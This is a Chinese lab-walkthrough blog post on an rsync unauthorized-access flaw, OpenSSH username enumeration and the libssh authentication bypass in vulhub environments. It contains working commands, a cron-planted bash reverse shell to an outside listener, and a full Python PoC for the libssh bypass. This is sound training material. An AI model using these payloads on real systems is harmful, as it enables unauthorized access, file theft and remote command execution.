服务安全-应用协议rsync未授权&ssh漏洞复现

目录
  • 服务攻防-应用协议rsync&ssh漏洞复现
  • * 漏洞复现
    
    •   * 配置不当-未授权访问-rsync文件备份
      
      • OpenSSH 用户名枚举漏洞
      • libssh身份验证绕过漏洞

服务攻防-应用协议rsync&ssh漏洞复现

漏洞复现

配置不当-未授权访问-rsync文件备份

rsync默认端口:873

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件 传输。

其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配 置ACL或访问密码,我们将可以读写目标服务器文件。

靶场:vulhub

或vulfocus

参考:rsync未授权访问

![image-20231016163707397](https://img-
blog.csdnimg.cn/img_convert/c46b9173d5b3407cb1c1e53acd89376a.png)

开启环境:

![image-20231016165531966](https://img-
blog.csdnimg.cn/img_convert/575830cf4644dde63ab824485da145cf.png)

环境启动后,我们用rsync命令访问:


rsync rsync://your-ip:873/
//靶场映射了端口
rsync rsync://192.168.100.134:43983

可以查看模块名列表:

![image-20231016165700612](https://img-
blog.csdnimg.cn/img_convert/a9b825df852d9f7f8d4c2ac231456fba.png)

访问列表:


rsync rsync://your-ip:873/src/
rsync rsync://192.168.100.134:43983/src

![image-20231016165847772](https://img-
blog.csdnimg.cn/img_convert/96445c85e429b7f30767306b09bd0c52.png)

发现这是一个Linux根目录,我们可以下载任意文件:


rsync -av rsync://your-ip:873/src/etc/passwd ./
rsync rsync://192.168.100.134:43983/src/etc/passwd ./

![image-20231016170132298](https://img-
blog.csdnimg.cn/img_convert/837ce13e4ac8014b09cae87842fe8897.png)

还可以尝试上传:


将passwd文件上传到/src目录下
rsync ./passwd rsync://192.168.100.134:43983/src

查看验证:
rsync rsync://192.168.100.134:43983/src 

![image-20231016170516659](https://img-
blog.csdnimg.cn/img_convert/dd64c6d503c24b99c92b5fde7bb2de81.png)

由于靶场时间原因,重启靶场,继续实验:

可反弹shell:


//下载crond文件
rsync -av rsync://192.168.100.134:39525/src/etc/crontab ./

![image-20231016173036022](https://img-
blog.csdnimg.cn/img_convert/78e171f6347b9e58fbc470625006d0d4.png)

点击查看:

![image-20231016171902121](https://img-
blog.csdnimg.cn/img_convert/799e3c841744f9bc33bfd1aeab454eb9.png)

注意该行语句的含义:

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令


17 * * * * root cd / && run-parts --report /etc/cron.hourly

创建一个shell文件并写入反弹shell命令:


#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.100.146/6666 0>&1

![image-20231016172118533](https://img-
blog.csdnimg.cn/img_convert/b5f29672a4c50b494e198308129c8cb5.png)

赋予执行权限:


chmod +x shell

将写好的shell文件上传至/etc/cron.hourly


rsync -av shell rsync://192.168.100.134:39525/src/etc/cron.hourly

![image-20231016173103285](https://img-
blog.csdnimg.cn/img_convert/2b6e2dcfc088d6e34f4ff7135ef949b3.png)

本地监听:


nc -lvvp 6666

等待反弹即可。

OpenSSH 用户名枚举漏洞

参考:CVE-2018-15473

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。

![image-20231016175700267](https://img-
blog.csdnimg.cn/img_convert/22df1283cff7a12ce986ff6929481732.png)

开启环境:

![image-20231016175735642](https://img-
blog.csdnimg.cn/img_convert/8783b30e65d83de89d246d0a619e1563.png)

环境启动后,我们在客户端执行

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p 20022,输入密码vulhub,即可登录到容器中。

![image-20231016175846271](https://img-
blog.csdnimg.cn/img_convert/9622b582cfea2d4d38a47f0e7a0c85a4.png)

可直接使用exp进行利用:

exp链接:CVE-2018-15473-Exploit


python sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip

方法二:

还可以使用msf进行验证测试:


msfconsole //开启msf
search ssh //搜索
use 53
set rhosts 192.168.100.134
set rport 20022
set user_file “字典路径”
run

![image-20231016180630536](https://img-
blog.csdnimg.cn/img_convert/fd19ef8fe82e1f5245197e6bdb402e80.png)

配置详细信息:

![image-20231016180703320](https://img-
blog.csdnimg.cn/img_convert/b92e5bdc4d0decb80d247625b96f3d58.png)

执行:

![image-20231016180732669](https://img-
blog.csdnimg.cn/img_convert/0ce58ca1c64d1ee936f9ad658c8dbedb.png)

执行发现,rootexamplevulhubnobody等用户是存在的用户。

libssh身份验证绕过漏洞

参考:[libssh
服务端权限认证绕过漏洞](https://github.com/vulhub/vulhub/blob/master/libssh/CVE-2018-10933/README.zh-
cn.md#libssh-%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%9D%83%E9%99%90%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9Ecve-2018-10933)

libssh是一个在客户端和服务器端实现SSHv2协议的多平台C库。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以在认证成功之前发送MSG_USERAUTH_SUCCESS消息。它可以绕过身份验证并访问目标SSH服务器。

开启靶场环境:

![image-20231016174551110](https://img-
blog.csdnimg.cn/img_convert/bc40135b5b03cf0e4ad4d0a47c253644.png)

环境启动后,我们可以连接your-ip:2222端口(账号密码:myuser:mypassword

![image-20231016174656312](https://img-
blog.csdnimg.cn/img_convert/c38cc1bfa30ef8791ce67240386749fe.png)

利用:

参考:CVE-2018-10993

根据参考,可直接利用poc:


#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if name == ‘main’:
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

执行验证:


python libssh_poc.py 192.168.100.134 2222 “id”
python libssh_poc.py 192.168.100.134 2222 “whoami”
python libssh_poc.py 192.168.100.134 2222 “touch /123.txt”
python libssh_poc.py 192.168.100.134 2222 “ls /”

![image-20231016175010299](https://img-
blog.csdnimg.cn/img_convert/905eaf582bcb4dd0844772ec44e1a579.png)

![image-20231016175031664](https://img-
blog.csdnimg.cn/img_convert/8a98e494c1c50a9a02f6e32b92e983f5.png)

成功创建:

![image-20231016175139418](https://img-
blog.csdnimg.cn/img_convert/0287e843d5858c4d131e16e9a6d51bf3.png)

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

学习资源分享

  • 13
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值